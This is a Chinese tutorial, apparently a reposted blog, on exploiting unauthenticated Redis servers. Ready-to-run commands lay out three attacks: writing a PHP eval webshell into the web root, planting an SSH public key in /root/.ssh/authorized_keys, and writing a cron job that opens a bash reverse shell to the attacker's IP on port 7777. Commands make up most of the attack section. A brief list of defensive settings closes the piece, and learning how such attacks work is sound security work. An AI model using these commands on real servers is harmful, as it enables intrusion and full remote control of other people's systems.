redis未授权访问漏洞三种提权方式

这篇具有很好参考价值的文章主要介绍了redis未授权访问漏洞三种提权方式。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

redis未授权访问漏洞三种提权方式



前言

扫描/连接默认的6379端口➢ 利用方式:

⚫ 向Web目录中写shell:需要猜到Web目录地址
⚫ 写ssh-keygen公钥然后使用私钥登陆
⚫ 利用crontab反弹shell


一、redis是什么?

Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。

二、漏洞利用条件

1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

三、漏洞利用

攻击方:192.168.244.129
受害方:192.168.244.128

1、利用redis写webshell

config set:快捷修改redis配置。
dbfilename :设置快照的文件名,默认是 dump.rdb
dir:默认redis文件保存路径

首先我们要猜到网站的目录地址,然后可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。

命令如下

config set dir /var/www/html/ 
config set  dbfilename shell.php 
set x "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n" 
save
  1. \r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
  2. 注意受害方redis是必须是以root的身份运行,不然会报错

redis未授权访问漏洞三种提权方式
成功在对应的文件夹里找到相应的文件
redis未授权访问漏洞三种提权方式
查看对应内容是写入的一句话木马
redis未授权访问漏洞三种提权方式
用蚁剑连接
redis未授权访问漏洞三种提权方式
成功拿下
redis未授权访问漏洞三种提权方式

2、写ssh-keygen公钥然后使用私钥登陆
  • 服务端存在.ssh目录并且有写入的权限。

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

命令如下:

ssh-keygen -t rsa

在/root/.ssh/id_rsa文件夹下生成了公钥和私钥
redis未授权访问漏洞三种提权方式

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.244.128 -x set xxx

redis未授权访问漏洞三种提权方式
使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/并保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上。

redis-cli -h 192.168.244.128 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save

在受害机相应路径下传输公钥
redis未授权访问漏洞三种提权方式
ssh连接目标机成功
redis未授权访问漏洞三种提权方式

3、Redis 写入计划任务

在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
命令如下:

redis-cli -h 192.168.244.128 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

redis未授权访问漏洞三种提权方式
监听7777号端口
redis未授权访问漏洞三种提权方式

经过一分钟以后,在攻击机的nc中成功反弹shell回来

注意
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  • 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
  • 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
  • 由于系统的不同,crontrab定时文件位置也会不同
  • Centos的定时任务文件在/var/spool/cron/
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/

四、 Redis未授权访问防御方法

➢ 可以配置redis.conf文件,在redis安装目录下
⚫ 默认只对本地开放bind 127.0.0.1
⚫ 添加登陆密码:修改redis.conf文件,添加requirepass password
⚫ 在需要对外开放的时候修改默认端口(端口不重复就行)port 2333
⚫ 配合iptables限制开放
⚫ 降权:以低权限运行 Redis 服务(重启redis才能生效)
⚫ 禁止使用root权限启动redis服务文章来源地址https://www.toymoban.com/news/detail-471831.html

到了这里,关于redis未授权访问漏洞三种提权方式的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

    影响版本 Redis 2.x,3.x,4.x,5.x Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴

    2023年04月25日
    浏览(30)
  • Web安全:Redis 未授权访问漏洞 测试.

    Redis 默认情况下绑定在 6379 端口,然后如果没有进行添加防火墙规则避免其他非信任来源 IP 访问等相关安全策略,直接暴露在公网上。然后再没有设置密码或者设置了弱密码,因此导致此漏洞的产生. Redis 未授权访问漏洞的 危害: Redis 未授权访问漏洞 测试: 第一步:使用

    2024年02月11日
    浏览(35)
  • 谨防利用Redis未授权访问漏洞入侵服务器

    Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。 但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,直接用root启动redis,没有设置密码并直接对外开放了6379端口

    2024年02月05日
    浏览(33)
  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(37)
  • Web漏洞-未授权访问漏洞

    未授权访问漏洞 漏洞介绍: 未授权访问漏洞就是在不需要请求授权的情况下对需要授权的功能进行访问执行,通常是由于认证页面存在缺陷,安全配置不当。 漏洞原理: 未授权访问是系统对用户的限制不全,或者无限制,可以让用户或者限制访问的用户,访问到内部的敏感

    2024年02月16日
    浏览(28)
  • springboot未授权漏洞(漏洞复现Springboot未授权访问及修复)

    Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进

    2024年02月05日
    浏览(37)
  • 漏洞名称:RMI 未授权访问漏洞

    漏洞描述:RMI默认使用序列化来完成所有的交互,如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。 漏洞危害:攻击者可在没有认证的情况下直接操作对应的 API 接口,可直接被非法增删改次数据。且因为攻击是在未认证下

    2024年02月06日
    浏览(30)
  • 漏洞——Elasticsearch未授权访问漏洞(原理扫描)

    下载地址: https://github.com/huhublog/elasticsearch7-http-basic 注意:如果下载的是zip,则需要在本地使用idea进行打包编译为jar,然后上传到服务器的elasticsearch安装目录下的 plugins / http-basic 目录下 里面需要配置文件plugin-descriptor.properties 配置 elasticsearch.yml 然后重启es进行 测试: 或

    2024年02月12日
    浏览(35)
  • redis未授权漏洞

    Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取 Redis的数据 1)通过 Redis的INFO 命令,可以查看服务器相关的参数和敏感信息,为攻击者的后续渗

    2024年02月07日
    浏览(27)
  • Redis未授权漏洞复现

    目录 Redis 漏洞的产生条件及利用 Redis环境搭建 漏洞复现 利用Redis写入Webshell 利用Redis写入SSH公钥 利用Redis写入计划任务 Redis安全防护 redis(remote dictionary server)是一个key-value存储系统,是跨平台的非关系型数据库。 redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的安

    2024年04月08日
    浏览(25)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包